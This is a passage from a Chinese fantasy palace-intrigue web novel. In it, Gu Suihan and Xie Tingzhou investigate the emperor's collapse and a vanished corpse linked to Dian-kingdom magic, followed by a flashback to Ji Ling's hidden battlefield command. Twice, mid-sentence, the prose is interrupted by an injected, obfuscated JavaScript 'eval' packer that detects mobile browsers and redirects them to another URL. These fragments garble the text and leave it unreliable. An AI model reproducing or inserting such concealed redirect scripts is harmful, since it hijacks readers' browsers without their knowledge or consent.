此处偏殿比较狭小,看起来似乎只是用来手谈的地方,窄榻上放着棋盘和两盅棋子。谢停舟先进来了,顺手就坐到了棋盘一侧,伸手相邀:“执棋能执天下黑白棋,不知能否执方寸之间的黑白棋呢?” 顾岁寒不是很有这方面的雅兴,不由得皱眉:“我只会皮毛,可现在不是下棋的时候。” 谢停舟被拒绝,倒也不以为意,自顾自地将两色棋都打开,挑出一枚黑棋下了起来:“可依在下看,此时就是下棋的时候。” 顾岁寒无奈,可谢停舟说得没错,她这个执棋的名头虽然响,但落到实处其实也就是个受宋安澜差遣的棋子而已。如今宋安澜顾不上她,她自然也落得清闲。 她坐到了棋盘另一边,拿起白子随便找了个落点,方道:“我不是自谦,这棋盘上的道理我是真的只知一二,将军同我手谈,恐怕无法尽兴。” 谢停舟闻言微微一笑,心说有求于我时怎么就叫将军了。但他面上不显,只是再落一子,摇头道:“无妨,打发时间而已。今日一事疑点颇多,你我都是局外人,何必掺和他们懂行之人的手谈呢?” 顾岁寒奇道:“此话该当何讲?” 谢停舟将方才怀里的阵盘往半空一抛,那玉盘便悬于半空悠悠旋转,盘中机栝之声咔咔不绝。声停之后,谢停舟才开口道:“夜间与执棋分别之后,在下同宋将军来到此处查验陛下的情况。但要我拙见,陛下昏倒与什么魂魄之伤无关,只是连日操劳以至身体虚不受补,前几日人参汤喝多了,一时气血不足晕倒罢了。” 顾岁寒认出刚刚谢停舟新开了一个隔音的阵法。一时间整个屋子有如沉入水下一般,外面的声音都朦胧了起来。她放下心来,说话声音也不像之前那样收敛,只是目瞪口呆道:“啊?当真?” “八-九不离十。”谢停舟伸手示意棋盘,“执棋,落子。” 顾岁寒这才意识到刚刚自己听入神了没有跟棋,瞟了眼棋盘随手下了一子。谢停舟等她落子,才继续说道:“我出师后就没怎么碰过医道了,但魂术还是弄得清的。陛下魂魄完整,内府中正平和,并没有魂魄损伤的迹象。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314696|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完之后他看了眼棋盘,略加思索后落了子。顾岁寒想着别的事,没急着跟,手上拈了一子无意识的把-玩。小小的琉璃棋在她四指间腾挪翻飞,谢停舟被吸引了目光,盯着那棋的残影看,便听得顾岁寒说:“可是这没道理啊,宫中御医那么多,没一个看出来皇帝不应该喝那么多人参的?他……是真的晕过去了?” 谢停舟一眼就看穿了她心中所想:“真的,我用针试过了。不仅如此,他鼾声如雷,我觉得他应当十分放松,应当不是在装晕试探各方势力。” 顾岁寒心说也是,敌国使臣就在眼皮子底下,要是装晕试探宋安澜的话风险也太大了。她想了想,另起话头问:“那陛下的事,你跟宋将军说了吗?” 谢停舟点头:“说了。听完之后将军也没什么表示,先把能聚集起来的臣子都押在殿里了,以免生乱。” 那宋安澜应当是自己有数了,恐怕用不着自己操心。顾岁寒放下心来,找了个位置把棋下了。空气一时之间安静了下来,两人就这样你来我往地走了十几步棋。 顾岁寒手上在陪谢停舟下棋,心里还在惦念着外面的事,因而棋路也是一片混乱,是不是就走神忘了落子。谢停舟似乎也并不在意,只在顾岁寒又一次忘了棋时轻轻出声提醒:“执棋。” 谁料声音刚落,顾岁寒忽然想起了什么似的坐直了:“不对。沈和正呢?他被殿下的人带走了,可刚刚殿中没有他们一行人啊?” 谢停舟失笑:“他也在,只不过他终归是外人,和群臣共处一室也不合适,将军将他安排到另一处偏殿照顾了。” 可顾岁寒却并没有安心的意思,目光灼灼地盯着他:“殿下确定自己把昨天在场所有的臣子都叫来了吗?没有遗漏的?” “也不是没有吧……”谢停舟略略思索,“韩尚书和公主就没有来,刚刚你在殿里听见她发脾气就是因为这个。这也不稀奇,韩玉青和将军政见不合,特别是对北周一事上,将军主战,他主和,我们两边平时没少因为这个争吵。其余的……没有了,当天与宴的臣子都在殿上,足足四十人呢,一些家眷虽然没有叫过来,但是也派了人去看管。” 那这就不对了。顾岁寒从怀里掏出之前画的那两张像,摊开到棋盘上,因为动作过快还带翻了装白棋的棋篓:“那此人是谁?我记得昨天他在席上,可他现在在沈和正房中,你们为什么没有发现他不见了?” 谢停舟没有管翻倒的棋篓,而是细细看起了画。他的目光先是落到了那幅坐佛像上,顾岁寒注意到他的眉头很明显一跳,随后将目光又移到了另外一幅上。他来回看了好几遍,才抬起头来,不确定地问顾岁寒:“……此二人是同一人?” “是。”顾岁寒说,随后她把昨天白天和这人目光上的交锋以及今天凌晨在沈和正屋里的所见所闻大致交代了一番。谢停舟侧耳听着,眉头却是越皱越紧,直到顾岁寒说完,他才开口道:“这就不对了。你说他昨天在宴席上,可我刚刚细细想来朝中并无这么一号人物。要是非要说有这么一号人物的话,我昨天似乎在蓝仆射身边见过这个人,应该是他比较器重的一个家仆?” 他见顾岁寒脸上明显露出了迷茫,补充解释道:“蓝仆射名叫蓝闻,是韩玉青那一科的主考官,韩尚书高中之后便正式拜他为师,两人颇为投契。现下蓝闻年事已高,手上的权力基本都交到了韩玉青手上。这便是韩玉青目前是朝中江南文臣首脑的原因。” 谢停舟这么一说,顾岁寒就渐渐将朝中形式和落棋阁藏书阁中的情报册一一对应了起来。她喃喃道:“你若这样说,我恐怕知道画中人是谁了。他是蓝闻的管家,名叫鲁纳,早年其实是蓝闻的同窗,屡试不第、家中清贫才委身做了管家,和蓝闻关系颇为要好,亦师亦友。那此番一来他吃过昨天赏给众臣的炙肉便也能解释了,那肉很有可能是蓝闻分给他的。可是,他为什么会夜会沈和正?” 谢停舟一边听她说,一边蹲下来把刚刚散落在地的棋子收回篓中。闻言他停下了手中动作,抬起头来看向还呆呆站在原地的顾岁寒:“执棋的意思是,蓝闻很有可能和北周有勾结?” 顾岁寒缓缓摇头:“不应该呀,蓝闻的家人就是在战乱中被北周流寇所杀的,他为什么会勾结北周?” 小小的偏殿里又一次安静了下来。没有人能解释顾岁寒的疑问,连她自己脑中都是一团浆糊,谢停舟耐心地把棋子一粒粒捡回去,放回了桌上,又将画移开,准备把被打乱的棋局复原。挪画时,他的余光扫过那幅坐佛图,没忍住疑惑,轻轻出声:“咦?” 顾岁寒的思路被他打断,见他在看那幅画,于是问道:“这幅画怎么了吗?” 谢停舟修长的手抚过画上的人脸,疑道:“这画我好像在哪见过……似乎是在军中?” 21. 菩萨蛮 三 “不可能,”顾岁寒下意识地反驳,“这幅画是我刚画完的,除我之外你是第一个看的。” “哦,”谢停舟意识到自己说的话有歧义,连忙摆手,“我不是说这幅画,我是说这画中的像,我好像见过。” 顾岁寒绕到他身后,跟他一起看这幅画,不解道:“这就是我照着鲁纳坐在榻上的样子画的啊。若论姿势,各地的坐佛像不都是这样的吗,难不成还有什么特色不成?” 谢停舟没搭话,仔仔细细将这画又从头到尾看了好几遍,才有些确定地说:“不是的。执棋应当知道,中原佛法是从天竺传来,在流传过程中几经演化,才有了现在的教义。滇国也有佛法,但他们的佛与中原的佛不甚相同。中原的佛像大多宽脸圆身,见之有慈悲感,滇国佛像则更加瘦削,面目也更多样,甚至会有邪恶相的佛像。” 他说着,将画像推向顾岁寒那边,以便她看得更清楚,另一只手模仿着画中人的动作,手放在胸-前,掌心竖直立起,但食指却微微弯曲:“最重要的是,这个手势,我只在滇国佛像身上见过,中原佛像要么双手合十,要么一手五指合拢立起,没见过单单食指弯曲的。”【注】 顾岁寒顺着他的话回忆了片刻,发现他说的确实有理:“那你的意思是,鲁纳被摆放成了一个滇国佛像的样子?” 谢停舟点头:“不过也有可能并不是别人摆的,而是他自己在死前做出了这个动作。就我所知,滇国有一些虔诚的信徒会在死前特意摆出佛像姿势,并叮嘱家人以此动作将自己下葬,据说这样便可以往生极乐。” 顾岁寒感觉此事越查,自己头上的雾水越多了。倘若谢停舟说得无误,这鲁纳确乎是死在了沈和正房中,那沈和正为什么要莫名其妙杀这么一个无足轻重的小人物?又为什么要在他死后给他上香? 她兀自思考着,谢停舟见她恐怕是在谋划她自己的主意,便没有出声打扰,默默地按照记忆中的样子还原被打乱的棋盘。 正收拾着,那阵盘中支持它运转的灵力耗尽,自己咔咔收了起来回到了谢停舟手上。外面的声音陡然大了起来,谢停舟听见宋安澜似乎正在指挥宫人们给在场的大臣们上午膳。他余光中看见顾岁寒侧耳听着门外,随后不知想起了什么似的,忽然出声:“你确定沈和正被殿下手下的人看管得好好的,不会偷溜出去,对吗?” 谢停舟笃定道:“不会的,我还特意叫了这会来上林苑的黑棋们都去看着了,保证人时刻在视线范围内,要发现他不见了会来向我示警。” “好,”在谢停舟震惊的目光下,顾岁寒三下五除二爬上榻拉开窗翻过窗棂,回过头来在外面对他招手,“你也出来,咱们再回沈和正院子里看看鲁纳的尸体。” 两人回去用的时间比顾岁寒一个人来的时间少了不少,因为顾岁寒厚颜无-耻地蹭了谢停舟的飞剑。 为防过于引人注目,谢停舟将剑放得极低,几乎是贴着地御剑飞行的。半路上,他忽然想起什么似的,回头问顾岁寒:“之前我看执棋脉象,内功修为都算得上深厚,御剑应该没问题才是,为何执棋刚刚同我说你无法御剑?” 顾岁寒也是颇为摸不着头脑:“我也不知道,之前在落棋阁的院子里也练过几次,每次人没上剑之前剑在半空还算稳当,一踩上去剑就开始发-抖,换了好几把习剑都这样。” 说话间,前路一块突兀的山石拦住了去路,好在谢停舟反应快,神念一动带着剑险险绕过阻碍。可他平时自己御剑惯了,忘了后面还带了个人。顾岁寒方才因为不熟不好意思把手搭在他身上,被这么一甩却也是顾不上礼貌了,手忙脚乱间直接抓上了谢停舟的腰侧。 不得不说,谢停舟作为儒将,虽然外面看上去文质彬彬,腰这么一抓却是坚硬如石,很明显身上还是带了功夫的。不过顾岁寒手刚抓上去,就明显感觉手底下的肌肉绷紧了,很明显是个拒绝的姿态,所以平稳下来后,她很快又把手松开了,只是暗暗把气息下沉,重心扎稳,以防下次类似意外发生时自己又要叨扰人家。 不知是不是顾岁寒的错觉,她手松开之后,谢停舟很明显也跟着微微松了口气。谢停舟似乎也觉得自己表现过于明显,怕顾岁寒多想,欲盖弥彰地解释道:“抱歉,我腰上被外人摸容易发痒,不是嫌恶执棋的意思。” 顾岁寒闻言不由得轻轻笑了一下,心说什么腰上痒,你就是在为姬泠守节,不喜欢旁的人触碰罢了。但她也没直直点破,只是说:“我倒是发现谢将军格外喜欢说抱歉,一天天的跟别人从早抱歉到晚,懂得人知道将军是讲礼数,不知道的都觉得将军嘴里的抱歉不值钱不真心了。” 这话她说得半认真半打趣,本意只是为了缓和一下刚刚两人之间尴尬的氛围,谁知对方却当了真,慌乱道:“抱歉,但我真是真心……” 话刚出口,他就听见背后的人又笑了一声,才意识到自己又说了抱歉,只好无奈地跟着笑了起来:“我……” “好啦,将军,我说着玩笑的。”顾岁寒发现这有礼的小古板真是有意思,笑得几乎是上气不接下气。谢停舟实在有些摸不着头脑,但既然对方在笑,只好也跟着笑了起来。 两人都沉浸在刚刚的事里无法自拔。飞剑迅速穿过林间,谁都没注意到密林掩映间,一道冷冷的目光循着谢停舟那把颇有特色的荧光剑,死死盯着两人的身影,直到剑身随着山势一拐,消失在了山石之间。 笑够了,顾岁寒指挥着谢停舟避开沈和正的院子,把剑停在了宋安澜暂居之处的后方,轻巧地从剑上蹦了下来。她看着谢停舟行云流水地收剑入鞘,顺口问:“这剑长得真别致,不知它叫什么?” “它?”谢停舟愣了一下,低头看向了自己的剑,目光中有一丝难以察觉的柔情,“它本是一块天生地长的奇石,没有名字。后来阿泠给它起了名字,叫海云。” 顾岁寒又一次猝不及防地听见了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323518|165650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姬泠的名字,有种路边流浪汉被塞了一嘴蜜糖的复杂感觉:“……啊,好名字,跟这剑真配。” 谢停舟听她语气不对,才意识到自己似乎有些失礼:“抱……抱歉,不过阿泠也是见它之光辉有如夏日海潮,才给它起了这个名字,我听后也觉得配,所以给它打了剑铭。” 他见顾岁寒听到这话之后有些愣神,未免尴尬,主动道:“嗯……那咱们还是从沈和正暂居的这处小院后墙翻进去?” 顾岁寒心不在焉地点点头,谢停舟得了指令,连忙率先绕过宋安澜院子后墙朝着山下走去。顾岁寒在后面跟着,目光不受控制地落在了谢停舟腰侧的剑上,心中还惦念着姬泠对剑的比喻,心中的怪异之感越发强烈。 难道是因为表姐妹的关系,她和姬泠如此心意相通? 还是说在某个遥远的午后,姬泠也和她手舞足蹈地说过谢停舟这把漂亮的剑,才让她在失忆后的今天,如同潜意识般地想到了同一种形容? 两人一前一后,心思各异的走到了沈和正的院墙下,顾岁寒才如梦方醒地叫住了谢停舟:“等……等一下,你在这里等着我就可以,咱们两个声势太浩大了,没有必要。我进去再看看,你在外面替我望风就行。” 谢停舟答应下来,老老实实地站在墙下,看着她三步并作两步上了墙,猫似的轻巧地落了地。随后墙那边传来一阵细碎地奚奚索索的声音,谢停舟猜测她应当是翻窗进了屋。 没过多久,一阵相似的声音传来,谢停舟抬头看过去,顾岁寒的身影出现在了墙头。他注意到她脸色十分难看,待她落了地,低声问:“怎么了?” 顾岁寒没说话,只是朝着宋安澜的院子走去。谢停舟亦步亦趋地跟上,两人走出去十几步,顾岁寒才压低声音开了口,语气中满是不可置信:“鲁纳不见了,地上的香盆还在。” 谢停舟万万没想到会是这个答案,诧异道:“不见了?是被人挪走了吗?” “不,”顾岁寒摇头,“我看了地上的灰尘痕迹,他是自己走的,门口的牵铃阵的线从里面断了,说明他应当不知道门口的陷阱,就是直愣愣的出去了!” 谢停舟只听过她大概地描述昨晚的事,对铃阵这些细节有些不明所以,谨慎地没有开口。顾岁寒却是心知肚明,沉着脸走进宋安澜的院门,在谢停舟也进来后把门死死关上。关上之后她还是不放心,把一边的门闩也拿过来合上,咬破食指在上面画了一个加固的符咒。 或许她的猜测一开始就是错的。那铃阵根本就不是为了防外人,而是让沈和正能第一时间知道自己房里这尊大佛不在了。 可是,她迷茫地想,昨晚这人的呼吸心跳确乎是停了的,难道这世上真有什么法术,可以让死人复活不成? 她转过身来,对上谢停舟关切的视线,一道闪电划破她的思绪,她想起来了。 有的,谢停舟同她说的滇国秘术,不就是其中之一吗? 22. 菩萨蛮 四 “将军,”她皱着眉,神情中满是迷茫,“你说,这有没有可能是你之前跟我提的那个滇国赶尸秘术?” 谢停舟谨慎道:“我未曾亲眼见过,无法下定论。但单从执棋说的情况来看,很像。” “我……”顾岁寒的思绪如乱麻,她尝试在里面理出一个线头来,“为什么最近连续发生的这么多事都和滇国有关?以前滇国也是这样的吗?” “不,”谢停舟否认道,“滇国以妖修为主。妖修修行不易,天性谨慎,所以西南交战也不多。除非天气酷热,滇国境内灵气被耗干,否则妖修一般不会和人类修士沟通往来。这也是我第一次在我朝境内见到这么多有关滇国的事物。” 顾岁寒心说这也太奇怪了,之前都没有,怎么现在我一要查就这么多。她若有所思道:“回城之后,你我二人先会阁里查查案卷吧,看看还有哪些和滇国相关的事。等北疆碎曦剑事了,咱们再去西面一趟。” 话一出口,她忽然想起来谢停舟这家伙似乎只对姬泠案子相关的事感兴趣,不由得大为头痛,揉了揉眉心:“那什么,将军……” 谢停舟却似乎知道她在担心什么似的,抢先开口:“执棋不必担心,我忝居侍棋一位,自然也应当在其位尽其事,执棋有什么指示尽管吩咐便是。” “……行,”她深深地出了口气,也懒得计较这人到底是真心还是假意了,“姬泠的案子你也别担心,此去北疆,有什么线索我会立刻同你说的。” 这么一想,她现在要做的事真是越来越多了,姬泠的案子还没个头绪,碎曦剑还要找,西疆有疑团渐起……说起来她不是计划着找到碎曦剑,把自己失忆前的事了了不就立马归隐的吗!为什么这活越来越多了? 顾岁寒越想越是气不打一处来,但想想现在手头的事似乎都是自己给自己找的麻烦,又有些绝望起来。 那厢谢停舟得了保证,似乎又有些开心起来。他犹疑了一下才道:“其实,执棋,关于阿泠一案,我还有些想法……” 他话未说完,顾岁寒刚刚关上的门忽然被人大力敲响。她关门本是见尸体消失之后实在有些背后发凉,把门关了安心些。来者敲门又重又响,几乎吓了她一-大激灵。 便听得来人高声喊:“谢将军?谢将军?您在吗,我家将军有事相邀!” 顾岁寒走过去把门打开,门外的军士打扮的人从她手臂上方看到了谢停舟的脸,顿时喜笑颜开:“可算找到您了!我家将军说此事重要,您一定要过去听听,咱们走?” 这军士面生,顾岁寒没见过,而且听他话里意思,他和谢停舟还颇为亲昵。她回头把疑惑的目光投向谢停舟,谢停舟连忙解释道:“哦,这位是姬将军身边的人。博明,这是宋将军手下落棋阁的执棋顾梅臣姑娘。” 这叫博明的人听过她威名,顿时肃然起敬:“原来是顾执棋!一直久闻大名,没想到今日竟在此一见,实在是有缘,要不是我家将军急着找,我是一定要同执棋说说在下的钦慕之情的。” 顾岁寒被这人的热情整得摸不着头脑,谢停舟低声道:“博明以前在阿泠手下做事,当过很长一段时间黑棋,后来被将军要走了。” 博明听见了,铿锵有力道:“谢将军所言极是!” 这人可真是太正经了……顾岁寒扶额,偏头去看谢停舟。这人明显对他这个上司手下的性格十分了解,面色不变,只是提示道:“将军不是在找?咱们闲言少叙吧。” 果然,博明的心思立马被吸引走了:“正是!多谢将军提醒,在下见到执棋心神荡漾,差点忘了正事!速走速走!” 谢停舟冲她露出了一个抱歉的笑容,转身准备跟着博明出去,顾岁寒却忽然出声:“我也过去,有些事我打算同安澜说。” 谢停舟还没说什么,博明先热情道:“能与执棋同行,在下荣幸之至啊!” 谢停舟:“……好,你要跟我同乘一剑吗?” 她自然乐得偷闲,丝毫不以为耻地站到了谢停舟后面。博明倒是惊异地看了她一眼,似乎对偶像居然要跟别人共乘一剑这件事非常惊奇。不过很快他似乎就为自己找到了合理的解释,若无其事地转过了头。 三人两剑沿着顾岁寒和谢停舟两人来时的路线返回。走到半路时,谢停舟忽然低声同顾岁寒说:“对了,在下刚刚想起来,执棋要是一直无法御剑的话,不如练练御风试试?” “御风?”顾岁寒睁大了眼睛,“但是一般人不都是从御剑练起吗,御剑都练不好的话,太急于求成练御风也不会有结果的吧。” “不是的,学御剑和学御风并非严格的先后关系,但一般先学御剑是因为相比虚无缥缈,更加难以把控的风,剑常伴人左右,更容易与人神念相交。” 谢停舟伸出手,让风穿过自己的指缝:“但之前执棋跟我说,执棋已经能够使习剑稳定悬于半空,那靠神念控物的能力应该不差。我听闻有人不擅御剑的原因是‘和剑关系不好’,执棋或许也是?所以我才建议执棋试试御风。” 这理由可真是太猎奇了。顾岁寒感觉这也太儿戏了:“啊?为什么会有人和剑关系不好?” 谢停舟笑了一声:“这在下就不知道了,或许只是民间传闻也说不定。” 顾岁寒对此半信半疑,但决定回头试试看,反正她的御剑现在也是破罐子破摔。 山风吹得人有些发冷,顾岁寒乘别人的剑,不用自己出力,有些无所事事,顺口闲聊问:“要是过段时间陛下醒了,秋猎还会继续吗?还是说要打道回府了?” “就在下所知,陛下和沈和正还有些讲和的条件没有商量好。”谢停舟说,“不过也就是这两天的事了,陛下厌战,江南学派本来就是主和派,此番也算是扬眉吐气了。如此君臣和乐,什么事推行得不快呢?” 他话说得豁达,语气却是别扭。顾岁寒沉默片刻:“此番讲和之后,真的能不打仗了吗。” “在下觉得难。”谢停舟苦笑,“北周 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不知是不是顾岁寒的错觉,她话音刚落,谢停舟微微瞥了她一眼,那目光十分复杂,说不好是惊异还是同情。顾岁寒敏感道:“……怎么了吗?” “哦,没什么,”谢停舟若无其事地移开了目光,“几天前陛下托将军找你来帮忙之后,宋将军就服药把孩子堕了,所以这两天她都避免动武。不过所幸她腹中胎儿月份还小,对将军身体影响应该不大。” 顾岁寒眨了眨眼,瞬间明白了其中门道。 之前宋礼百般劝说不让宋安澜堕胎,本质上是为了阻拦宋安澜回到北疆,但在那日之后奇迹般地松了口。那只能说明,宋安澜用某种条件,交换了自己的自由。 那个条件显而易见,就是把自己手下重伤初愈但是有面对沈和正经验的顾岁寒派去帮忙守卫宋礼那几日的安全。顾岁寒恍然大悟,怪不得宋安澜那天来求她的表情那么心虚。 谢停舟刚刚那样看她,恐怕是从她的提问中领会到了她其实并不知道自己被宋安澜当做一个条件交换出去的事情。 “哦,这样。”顾岁寒缓缓道,“那很好啊,那孩子来的不是时候,堕了也算是省心了。” 谢停舟闻言终于没忍住,回头认真看了她一眼:“……执棋不生气吗?” “这有什么好生气的,”顾岁寒失笑,“多大点事,我替她高兴还来不及。这件事上我也算帮了她忙,回报了一些她当初从雪原中把我救出的恩情,如何算不上一件好事呢?将军,别一眼一眼瞟我了,看路吧,都快到了。” 谢停舟慢吞吞地“哦”了一声。她存了逗弄他的心思,挑-逗道:“怎么了?” 谢停舟道:“没什么,只是觉得……” 或许像顾岁寒、姬泠这样的才是真君子吧。真君子被朋友不声不响地利用了,也不会有什么抱怨。 徒留他这样的小人在旁边替别人抱不平。 23. 菩萨蛮 四 他其实追问过姬泠很多次,为什么甘心留在宋安澜身边,用一张假的面孔,顶着不能为外人道的身份,给一个或许也算不得非常看重的朋友做事呢? 姬泠每次听他这么说,都会惊异地睁大眼睛,哭笑不得地看着他:“你说什么啊,我学的落棋阁的本事,自然就该做落棋阁的人做的事。领兵打仗安澜比我更擅长,那自然就应该叫她做,我做好我能做的事不久可以了吗?” “至于朋友……”她说到这里,脸上终于显出一些落寞来,“其实安澜就算很好的朋友吧?我将她看得很重,但不应该要求她也像我对待她那样拥有在她心里同等重要的地位,不是吗?” 那时她会看着谢停舟的眼睛,希望从他那里获得肯定的回答。谢停舟看着那漂亮的、杏核似的眼睛,明明知道那双眼睛的主人总是很擅长用各种无所谓的话语忽悠他,让他为她放心,却还是没忍住点了点头,低声说:“是。” 说这话时他的喉咙口像塞了一团棉花一样,堵住了其他没有诉诸于口的话。 其实姬泠说得很对,人不应该要求对方能回报自己同等澎湃热烈的感情,谢停舟也清楚这一点。 但他还是忍不住想去要求。他每每看到姬泠为了宋安澜的事牵肠挂肚,他心里就忍不住嫉妒得发疯。 姬泠得到了他肯定的答复,似乎也微微松了口气:“安澜她……” 接下来的话谢停舟已经听过很多次了。姬泠会说宋安澜其实已经很好了,她心里也把自己当做了很重要的朋友,计划过以后一起找个山清水秀的地方归隐……总而言之就是说一堆宋安澜的好。 他、她,还有宋安澜,明明他们在同一个学堂里长大,最后却因为道不同而分道扬镳。结果命运兜兜转转,最后让宋安澜和姬泠在同一处效力,他最终还是在时间上输给了这个其实称不上敌人的敌人。 他深吸了一口气,反复安慰自己,阿泠已经与他有了婚约,等明年挑好良辰吉日就能完婚;阿泠和宋安澜之间只是知己之情,和他不一样…… 他已经用同样的理由安慰过自己很多次了。但记忆中的最后一次,这个理由没能安慰住他,让他冲口而出打断了姬泠的话:“不是的。” 姬泠的话被打断,愣了一下,却也只是软下声来,好声好气道:“怎么啦?又不是了。” 谢停舟几乎是咬牙切齿道:“宋安澜要是真把你当真心朋友,就不应该把你的军功揽在她身上,让你一个人背负吃闲饭的骂名。” 他说到这里姬泠微微张了张嘴,似乎想要解释,却被谢停舟加重语气强硬地打断了:”我说的不是平时那些小事,我是说宋酿失踪后那一场,明明是你带的队埋伏,重伤了邓飞英,为什么最后功劳和声望还是落到了宋酿身上?她什么都没做,却平白得了功勋,哪有这么占便宜的事?” 这话在他心里已经盘桓了许久,烂出了疮、淬出了毒,因而他说出后竟有些难言的畅快。可一时的畅快后他又有些后悔了——他这话几乎已经是明着挑拨离间了。 他面上装得强硬,却是偷偷觑着姬泠的神色。可她却也并不像他以为的那样生气,神色有些动摇,嘴上还是在替宋安澜解释:“那次我也是没有办法……酿姐失踪,安澜又被流矢伤了。我在军中又没有什么好名声无法服众,这才借了安澜的身份……” “你为什么在军中没什么好名声?”谢停舟一针见血,“还不是因为平时你总是在干落棋阁的事,有什么意见也是背后给宋安澜,才导致所有人都以为你不务正业?说到底,宋安澜她要是真心为你好,为什么不把能说的你做的事说给外人听?” 是的,外界广泛传闻的宋安澜的成名之战,其实不全是宋安澜的功劳。 北周大军刚刚来犯时,她就定下了在学窝里埋伏的计划,但是还没等实施,她就在乱军中受了重伤。一道带着毒的流矢从背后穿过了她的肋骨,只要再歪两寸,她就没命了。 即便如此,宋安澜还是陷入了极深的昏迷。当时就在她身边的姬泠立即封-锁了消息,以免引发军心动荡。镇北军的所有人都以为宋安澜只是受了轻伤,只要将养片刻,很快就能回到沙场。 少数的几个知情-人都是姬泠自己在军中的心腹,连被叫来治伤的医师都是落棋阁自己的人。姬泠坐在宋安澜的床边,看着这一屋子等着自己发出指令的人,手心里全是冷汗。 她幼时在父母的要求下习武,父母死后在皇帝的指点下入学习文,后来又被现在的师父点走学白棋,出师后还是在张首晟手下做事,偶尔按照宋安澜的要求帮忙提供信息。虽说名义上也算是一方信息网的头头,但实际上很少脱离比自己更有能力的、亦或是更有魄力的人的指挥。 若论她干过的最叛逆的事情,只有一件因为长期处于顾岁寒的压制下在白棋里出不了头,顶着张首晟的劝阻转去了当时人才不算多的黑棋。但要细究这一行为背后最为本质的动机,那还是因为从小父母和她自己都对自己要求过于严苛,导致她完全不能接受自己总被顾岁寒压一头的事实。 这是她第一次在完全没有他人帮助的情况下独立做出指挥。 所有人都在等着她做出判断,战场上形势变化极快,镇北军显然不能在连失两位主帅的情况下行动。 外面有人来找宋安澜,但又担心贸然进帐会打扰到她养伤,于是只在外面喊:“将军!您伤还好吗?要紧吗?” 姬泠别无他法,只好学着宋安澜的声线,简短回道:“没事!让弟兄们不要担心!” 那人听完,瞬间放下了心,大声应道:“是!”然后噔噔噔跑了。 姬泠应完话,感到一阵难言的疲惫。她盯着宋安澜的脸,刚刚那句对答的话却如同一个一个小小的种子,在她心里忽然生长起来,随后 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她踌躇满志地走向了帐门口,准备向整个镇北军宣布“自己”已然痊愈,却在伸手掀开帘子时硬生生顿住了。 她意识到了那个可怕的漏洞,那个致命的陷阱—— 上万人的战场不是她在落棋阁里为之发愁的月考,她不像宋安澜自学堂出来后就在宋酿身边耳濡目染,她没有指挥战斗的经验。 而她的失误不再有自己的上峰帮自己承担。她的失误会造成无数人白白丧命,还会顺手把她扮演的宋安澜也带进无边深渊。 她承担得起吗? 姬泠的前二十多年,一直生活在师长为她搭建的避风港中,来到青州落棋阁后的事也算是顺风顺水——因为她只需要承担简单的信息归拢工作,棋子的派遣、变动以及具体的指令都不需要她操心。张首晟好像一只巨大的蜘蛛,在整个南盛境内结出一张巨大的网,网上的棋子们只需要听从他的指挥做自己那份事,便能让落棋阁这个巨大的情报信息网安然地运行。 跟在她背后的手下们看到她突然顿住,也不明所以地跟着停住了脚步。看她救救没有动作,有一人小心翼翼地喊她:“侍棋?” 帐外的人在等宋安澜出马,稳定军心;帐内的人在等他们的直系上司给他们一个具体的指挥,好进行下一步的动作。 两边的人都在眼巴巴地等着她。 姬泠感觉脑子一热,一掀帘子,高声道:“众将士听令!” 在外面等候依旧的人们乌泱泱地跪下,甲胄声响成一片。 阳光映着铁甲,反射出一片粼粼的光。姬泠的手心里全是冷汗,强压住声音里的颤-抖:“北周大军,看似来势汹汹,实则盛久必衰,悍然之势不能持续,只要我军同心协力,必能度过眼下难关!” 众人的士气被她这一番话鼓舞,纷纷应道:“是!” 24. 五陵年少 其实要后来的姬泠回头看当时自己的选择,恐怕也会觉得荒唐。那一整件事从头到尾最称得上不幸中的万幸的事是,宋安澜重伤之前提出的一整个计划还算完备,姬泠那一场埋伏堪称功成身退。 但她也为这次伏击付出了堪称惨痛的代价——那个雪窝子里有一个天晴时雪水融化留下的污水坑。众人顶着寒风,半个身子都泡在水里,待了半日有余。其他男人还好,姬泠那两天却是月事刚结束,在雪堆水坑里这么一冻,哪怕她修道习武身强体壮,回去之后也足足又是腹痛又是发热地在床上辗转了十来天。 她在病中时,宋安澜也渐渐苏醒了。她昏迷时,为防姬泠不在时她忽然醒来露破绽,她身边是有姬泠的人时刻在旁边看顾着的。 姬泠等她醒来后偷偷找那手下过来打听了。宋安澜醒来之后问清楚了事情的经过,愣了一会,问了问姬泠现在的情况,然后就若无其事地出帐处理战后收尾了。 姬泠听手下汇报完,也说不好自己心里是什么滋味,挥了挥手让手下忙活自己的去了。等整个帐子里只剩她一个人之后,她在榻上翻了个身,重重地叹了口气。 故事到此已经是最好的结局了。她从入落棋阁的那一刻就知道了,自己注定要做那些别人都不知道的事,再伟大的功勋也不能大肆宣扬。 如果她一直为落棋阁效力到死的话,很有可能后世史书就以“姬氏女”这样的描述把她寥寥带过,成为一个无功无过的贵族女。 但是,但是…… 要是能被人知道就好了。 要是能像姬酿那样,有人为她写诗歌颂,有人赞她武德耀世就好了。 到时候整个大盛的人都会夸赞她是个于国有功、于家有荣的人。人们提起她时,不再是那个姬家的英烈女,不再是姬昀的妹妹,宋安澜的透明人军师,而是直呼她姬檐雨的名字,细数她的功绩。 ……但现下看来是不可能了。 